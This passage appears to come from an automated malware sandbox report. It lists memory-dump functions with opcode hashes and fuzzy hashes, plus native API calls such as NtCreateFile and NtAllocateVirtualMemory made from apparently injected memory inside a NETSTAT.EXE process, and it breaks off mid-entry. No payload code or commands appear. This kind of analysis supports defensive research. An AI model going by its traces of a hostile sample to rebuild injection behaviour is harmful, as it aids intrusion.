Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d32aa2a0b9ea88dfa8199d045fe00370cb5f2d40865d6c48d5d9abcf2a059bc1
Instruction ID: 4a71a8c3a0d75ab68012f79c28694e23cd605816ab226d1ee08e6a9bbade4f41
Opcode Fuzzy Hash: d32aa2a0b9ea88dfa8199d045fe00370cb5f2d40865d6c48d5d9abcf2a059bc1
Instruction Fuzzy Hash: 9ED14632908791CFD716CF78D886B817FB2F796320718429ED9A2A35D2C7382556CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD7D, Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5481bed935c7b22fe2ed826ec64fb7d28ebe6993bc61b0e4c382df3b5b2da031
Instruction ID: 3e32f0a74fea20eb09555cc098adc4993f59a1d1490e91621889264417f99ac6
Opcode Fuzzy Hash: 5481bed935c7b22fe2ed826ec64fb7d28ebe6993bc61b0e4c382df3b5b2da031
Instruction Fuzzy Hash: 67916732919382CFEB12CF78D9CAB453FB2F356320359829ED891A3181C734656ACF49

Uniqueness

Uniqueness Score: -1.00%

Function 0041E258, Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d557320cf2c12336e34fce0294540a22d389f074d19f5627c4119a3277822733
Instruction ID: 12d8ae72b580ec8d4ed5749db94ed5df88c5a25232acd955bdbdbb42164215e1
Opcode Fuzzy Hash: d557320cf2c12336e34fce0294540a22d389f074d19f5627c4119a3277822733
Instruction Fuzzy Hash: 0A81E13294D7D5DFD702EF78E8EA6423FB1F756320308069EC9A19B192C77420A6CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00402D90, Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baad548f5feed02f012b2fc10accbe050e72558d66b692510d210734a80849a9
Instruction ID: 72940b2de139f4e90958e9e8763c4e4336f87cc22ae5d142da70f60c8c24c1bc
Opcode Fuzzy Hash: baad548f5feed02f012b2fc10accbe050e72558d66b692510d210734a80849a9
Instruction Fuzzy Hash: AB5173B3E14A214BD3188E09CD40631B792FFD8312B5F81BEDD199B397CE74E9529A90

Uniqueness

Uniqueness Score: -1.00%

Function 00402D87, Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3808805e379f72de05e7fd8c312cf5eb4c5828ec1cb086b67b97babf1c55f3b4
Instruction ID: 121ef2194fa7752759da7b389a276fce5bc79a7646984a9847f9c825fe7ac470
Opcode Fuzzy Hash: 3808805e379f72de05e7fd8c312cf5eb4c5828ec1cb086b67b97babf1c55f3b4
Instruction Fuzzy Hash: 4A5183B3E14A214BD318CE09CC40631B792FFC8312B5B81BEDD199B397CA74E9529A90

Uniqueness

Uniqueness Score: -1.00%

Function 0041E000, Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d248711a205f8b2bde7a29bbb2be3124b44b5c3882748b2ac61a0e9f705c3b3d
Instruction ID: 19755fe9598a77a6eadfaabb3116abb8380fcedc6efce6430200a9bf6a9fa9cf
Opcode Fuzzy Hash: d248711a205f8b2bde7a29bbb2be3124b44b5c3882748b2ac61a0e9f705c3b3d
Instruction Fuzzy Hash: B151FD329493D5DFD706EFB8E8DAA423FB1E756320308469EC9E18B092C7742066DB85

Uniqueness

Uniqueness Score: -1.00%

Function 00401208, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680131d702dec1b05a521795653c94ad08d12a75f6cf7bdd8b122bb01b562e7f
Instruction ID: e55100284adb6380651caa50d35f64eb5b5494bf56c3ea2d4a1703e4ab72774d
Opcode Fuzzy Hash: 680131d702dec1b05a521795653c94ad08d12a75f6cf7bdd8b122bb01b562e7f
Instruction Fuzzy Hash: 28415F75A0060A9BCB08CFA9D8819AFFBB5FF88314B10C27ED919A7351D734A951CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041DF3E, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20524aeb5c4e36810e22be8d15091ebfbf69b55f441abd2ff06255bfd910a96d
Instruction ID: 3776e25b1a63930cd0b5b00e8fd5fe37d7f7215e0695ec24626518bb9795bc8a
Opcode Fuzzy Hash: 20524aeb5c4e36810e22be8d15091ebfbf69b55f441abd2ff06255bfd910a96d
Instruction Fuzzy Hash: 41513332A59392CFDB12CF78E9D6A413FB2F356320308828EC9A193595C7347566CF48

Uniqueness

Uniqueness Score: -1.00%

Function 00401030, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f1a47e469db01a1eef6c7f2d5b49e19d955ffd97c7228385fc8c35807cfa85
Instruction ID: 9ce4faf4bd6c29c48d5e9242fd1ccb7de96948774e055271f7c113e60250bd75
Opcode Fuzzy Hash: a4f1a47e469db01a1eef6c7f2d5b49e19d955ffd97c7228385fc8c35807cfa85
Instruction Fuzzy Hash: 203180116596F10ED30E836D08BDA75AEC18E9720174EC2FEDADA6F2F3C0888408D3A5

Uniqueness

Uniqueness Score: -1.00%

Function 00416C87, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce1cf953bd58853546332371e98cb1ef29d27f2eb4d8292188f44fa339072c0e
Instruction ID: da791a5ca0bbf7c8b42636bf71972b1ac1043146c7366d17a03427065cd1ace7
Opcode Fuzzy Hash: ce1cf953bd58853546332371e98cb1ef29d27f2eb4d8292188f44fa339072c0e
Instruction Fuzzy Hash: EED0977349082583A8902A183C491FAF3A1D987031B1113DBC884B7800F92BFC8E018C

Uniqueness

Uniqueness Score: -1.00%

Function 004172E0, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7262b8891edf049b1562adafd740892ebcd69f44ecb39245102a10237c3485f0
Instruction ID: c23d8f9612749418312a662a584eb682b6bd5d34f568d66bc6ac15fd8e2c11b8
Opcode Fuzzy Hash: 7262b8891edf049b1562adafd740892ebcd69f44ecb39245102a10237c3485f0
Instruction Fuzzy Hash: B6C08C17E8C1E5028B12CE7928400BAFF608A83039F9C33EAD8CAAF043C042C02082CD

Uniqueness

Uniqueness Score: -1.00%

Function 00407B06, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 171069aa90a02a633fb354f84a7503b6ac41f042c8c343f2ff1326363b07fa35
Instruction ID: 430dca260ac1390bd2f8d517c4eaabe3022e8b15fe785e4640429ddfad5a0389
Opcode Fuzzy Hash: 171069aa90a02a633fb354f84a7503b6ac41f042c8c343f2ff1326363b07fa35
Instruction Fuzzy Hash: 53B09273A1900456D121AC0CBCC07F4F3A9D743238E2023A7F818B71208183D452018C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: NETSTAT.EXE PID: 6708 Parent PID: 3424 NETSTAT.EXECOMMON

Executed Functions

Function 028A9D5A, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,028A4B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,028A4B87,007A002E,00000000,00000060,00000000,00000000), ref: 028A9DAD

Strings

.z`, xrefs: 028A9D9D, 028A9DA8

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: f845113cf69838b31ba8fae0fe9808f41bb7fb16eef9c2fdc5717f678102930d
Instruction ID: 79184c68a751ff425c66c5d34786fb6dbe9a3dff09217fad94fe20af905f1d65
Opcode Fuzzy Hash: f845113cf69838b31ba8fae0fe9808f41bb7fb16eef9c2fdc5717f678102930d
Instruction Fuzzy Hash: F901E4B6204108ABDB48CF98CC90EEB37ADAF8C704F158248FA1CA7241C630E801CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 028A9D60, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,028A4B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,028A4B87,007A002E,00000000,00000060,00000000,00000000), ref: 028A9DAD

Strings

.z`, xrefs: 028A9D9D, 028A9DA8

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 2d9e26cef832d1853d85f3f056fd4f17edebab7348c0d6bf2e73b54c72341539
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: 47F0B2B6200208ABCB48CF88DC94EEB77ADAF8C754F158248BA1D97240C630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 028A9E0A, Relevance: 1.5, APIs: 1, Instructions: 39filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(028A4D42,5EB6522D,FFFFFFFF,028A4A01,?,?,028A4D42,?,028A4A01,FFFFFFFF,5EB6522D,028A4D42,?,00000000), ref: 028A9E55

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: c94d98a58dee74529553b1da3953306c29fbf6cf8b49a3d08a45935fdaad65d3
Instruction ID: 7428f415462c051273995f437fc0ac15b3a450eb44c6e78c059dccf610637b73
Opcode Fuzzy Hash: c94d98a58dee74529553b1da3953306c29fbf6cf8b49a3d08a45935fdaad65d3
Instruction Fuzzy Hash: 34F0F9B6200109AFDB04DF88DC91EEB77ADEF8C755F158249FA1D97641D630E811CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 028A9E10, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(028A4D42,5EB6522D,FFFFFFFF,028A4A01,?,?,028A4D42,?,028A4A01,FFFFFFFF,5EB6522D,028A4D42,?,00000000), ref: 028A9E55

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: 3ad4c0124e8a902a4e51b7f84514953342cac5fafb7cda5bf1beb190013786ca
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: E5F0A9B6200108ABDB14DF89DC90DEB77ADEF8C754F158248BA1D97241D630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 028A9F40, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,02892D11,00002000,00003000,00000004), ref: 028A9F79

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: c75b7b9e4984a512d4b4b6fb5acb9ae1e815227edb57444132d260a5b18651fd
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: 99F015B6200208ABDB18DF89CC80EAB77ADEF88750F158148BE18A7241C630F810CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 028A9E90, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(028A4D20,?,?,028A4D20,00000000,FFFFFFFF), ref: 028A9EB5

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: ee26162d0a835d6ce4dbad8e1e69f4fad22b91c437c65d66b9a54c8e8b8f5332
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 39D012752002146BD714EB98CC85E97776DEF44750F154455BA589B241C530F50086E0

Uniqueness

Uniqueness Score: -1.00%

Function 02D696D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D696DA

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bd70e0d4e50c19f24ae0090ca154facfbfb56bdd1f346d683f6fbe4ee2903c56
Instruction ID: 438b5b13051ef5e9c373fcdaa36faa6400fef1cd44324aa1a92cee1815ccedad
Opcode Fuzzy Hash: bd70e0d4e50c19f24ae0090ca154facfbfb56bdd1f346d683f6fbe4ee2903c56
Instruction Fuzzy Hash: 3D90027120100846E10061594404B4700069BE4341F51C01AA0115674D9759CC917561

Uniqueness

Uniqueness Score: -1.00%

Function 02D696E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D696EA

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ff3abf5ffdc9670078345ed2a23e97d91baed1125e9c7b0a7adc65ed96bd8b71
Instruction ID: 7317d9c181e8022fcacbe9f4927c3faafc2fb7b8867bc876d42793b998e35659
Opcode Fuzzy Hash: ff3abf5ffdc9670078345ed2a23e97d91baed1125e9c7b0a7adc65ed96bd8b71
Instruction Fuzzy Hash: E490027120108806E1106159840474B00069BD4341F55C415A4415678D97D98CD17161

Uniqueness

Uniqueness Score: -1.00%

Function 02D69650, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D6965A

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0bc1ec223e78e7f5b606d297e8c955a6500336b7f7df25adc9a26832ac596a46
Instruction ID: ff90be05c2dfbaf9be4051be661165598483b8d74e69a27dc1ff793cc0d8cb3f
Opcode Fuzzy Hash: 0bc1ec223e78e7f5b606d297e8c955a6500336b7f7df25adc9a26832ac596a46
Instruction Fuzzy Hash: 7490027120504846E14071594404A4700169BD4345F51C015A00556B4DA7698D95B6A1

Uniqueness

Uniqueness Score: -1.00%

Function 02D69A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D69A5A

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d03969122be25abe4b2ca395cb18d486cf24d48e5bfea3e53d1dd324363d55a6
Instruction ID: a5c875cd12429e6362f6696ab8b4d4f0136a0499d473ab16116ff4463ad1dbbc
Opcode Fuzzy Hash: d03969122be25abe4b2ca395cb18d486cf24d48e5bfea3e53d1dd324363d55a6
Instruction Fuzzy Hash: 0390026121180046E20065694C14B0700069BD4343F51C119A0145574CDA598CA16561

Uniqueness

Uniqueness Score: -1.00%

Function 02D69660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D6966A

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 59b18d142e7117203de0f1493d872afcbf4b79fb2664ad12b187d6aa04960f0a
Instruction ID: 9bbcaa26f45b50a8a9afa2b74e4661d957eef2cd1b23eafc4cfb80d525458e51
Opcode Fuzzy Hash: 59b18d142e7117203de0f1493d872afcbf4b79fb2664ad12b187d6aa04960f0a
Instruction Fuzzy Hash: 6290027120100806E1807159440464B00069BD5341F91C019A0016674DDB598E9977E1

Uniqueness

Uniqueness Score: -1.00%

Function 02D69FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D69FEA

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f7fab68839a6b33353293b00ec62e3f567ad123809d96367c6c116b1caf848b7
Instruction ID: ca12328b58422d58c4c0ba43722f41409d39a093f0ea079502aea92cf00b8bb2
Opcode Fuzzy Hash: f7fab68839a6b33353293b00ec62e3f567ad123809d96367c6c116b1caf848b7
Instruction Fuzzy Hash: AD90027131114406E1106159840470700069BD5241F51C415A0815578D97D98CD17162

Uniqueness

Uniqueness Score: -1.00%

Function 02D69780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D6978A

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6172d91584b3f5a682da254cffee52a0ff1eecdd50f437723be67d22cafe5cff
Instruction ID: 938033eabf77019cd3e5d7e8623c667f2c1a8e5fda99363724152f48377a09be
Opcode Fuzzy Hash: 6172d91584b3f5a682da254cffee52a0ff1eecdd50f437723be67d22cafe5cff
Instruction Fuzzy Hash: 9390026921300006E1807159540860B00069BD5242F91D419A0006578CDA598CA96361

Uniqueness

Uniqueness Score: -1.00%

Function 02D69710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D6971A

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1818c6a417261657c2eb3c40a2cd9fe4e2fc8073d48eaf22d9404802d1b0520a
Instruction ID: 95cdf0faa636133bf42eaf8659225276ab9d1cb261d2ec6d84205f196f89a471
Opcode Fuzzy Hash: 1818c6a417261657c2eb3c40a2cd9fe4e2fc8073d48eaf22d9404802d1b0520a
Instruction Fuzzy Hash: 3690027120100406E1006599540864700069BE4341F51D015A5015575ED7A98CD17171

Uniqueness

Uniqueness Score: -1.00%

Function 02D69840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D6984A

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 70fced3a724154e9de33a580660dae91e99b831e6b39569b7d965488ef57d3a3
Instruction ID: 3fab96c82829f2c1bc3db3856748fef88e46eb4424b73ef6cac523efc0f62a5f
Opcode Fuzzy Hash: 70fced3a724154e9de33a580660dae91e99b831e6b39569b7d965488ef57d3a3
Instruction Fuzzy Hash: 39900261242041566545B15944045074007ABE4281791C016A1405970C966A9C96E661

Uniqueness

Uniqueness Score: -1.00%

Function 02D69860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D6986A

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b892a29a9eb1277926a3b09b098cd27a725ad1a5dbb1ea8abb19a2a68cf2a031
Instruction ID: 66206f1fcfa60c3691a2fe11b3fa9e7d1e3afab67730e805d989311788498aa4
Opcode Fuzzy Hash: b892a29a9eb1277926a3b09b098cd27a725ad1a5dbb1ea8abb19a2a68cf2a031
Instruction Fuzzy Hash: 2790027120100417E11161594504707000A9BD4281F91C416A0415578DA79A8D92B161

Uniqueness

Uniqueness Score: -1.00%

Function 02D695D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D695DA

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c8f51f9832abffe7ee9716bcbcabb425bf35aa081f40df2912dec8b6f43ccbe4
Instruction ID: 57431f6b3ab00c9759ae5a79baa051b81c2f8c1f5c2f064f54cb591e9fee7dfd
Opcode Fuzzy Hash: c8f51f9832abffe7ee9716bcbcabb425bf35aa081f40df2912dec8b6f43ccbe4
Instruction Fuzzy Hash: 4F9002A120200007510571594414617400B9BE4241B51C025E10055B0DD6698CD17165

Uniqueness

Uniqueness Score: -1.00%

Function 02D699A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D699AA

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a93017075fa180d9604929fd5aa47f344ea7b54353dd47a339687e6da044c806
Instruction ID: de8823090990083e993ff7abf6e8d42d71d81a0ea4adf930d2a8703fbad1c1ae
Opcode Fuzzy Hash: a93017075fa180d9604929fd5aa47f344ea7b54353dd47a339687e6da044c806
Instruction Fuzzy Hash: 939002A134100446E10061594414B070006DBE5341F51C019E1055574D975DCC927166

Uniqueness

Uniqueness Score: -1.00%

Function 02D69540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D6954A

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f6206a54882d70c7a966aadd126118ebfa520b8563485711d77beb0bb5f108ac
Instruction ID: aace3b1219384627a066a506887abe1c9b2226c9b9658a5d3d4381e3d9ec0c93
Opcode Fuzzy Hash: f6206a54882d70c7a966aadd126118ebfa520b8563485711d77beb0bb5f108ac
Instruction Fuzzy Hash: 97900265211000071105A559070450700479BD9391351C025F1006570CE7658CA16161

Uniqueness

Uniqueness Score: -1.00%

Function 02D69910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02D6991A

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ea8480cb2f02c53add94750a6d104c3cfe04bc917dcbd17cc3705d7b7023a493
Instruction ID: e8c38d9f15f7077341b162bb014f657f710413d3b32314df7540e9c3d5df35cd
Opcode Fuzzy Hash: ea8480cb2f02c53add94750a6d104c3cfe04bc917dcbd17cc3705d7b7023a493
Instruction Fuzzy Hash: B69002B120100406E1407159440474700069BD4341F51C015A5055574E979D8DD576A5

Uniqueness

Uniqueness Score: -1.00%

Function 028AA062, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,02893AF8), ref: 028AA09D

Strings

.z`, xrefs: 028AA08C, 028AA098

Memory Dump Source

Source File: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 29f2b1a408e0df59c942af5740a4ae4979d3f097bcf690921309c43073f142a8
Instruction ID: e2c342167919ba61dbb42e176c9dd2be904b030cc60eb9a8c20dbea12a74b6a4
Opcode Fuzzy Hash: 29f2b1a408e0df59c942af5740a4ae4979d3f097bcf690921309c43073f142a8
Instruction Fuzzy Hash: 96F06DB9200208BFE718DF59DC89EE737ACEF44760F014659F95997241C631E921CAE1

Uniqueness

Uniqueness Score: -1.00%

Function 028AA070, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

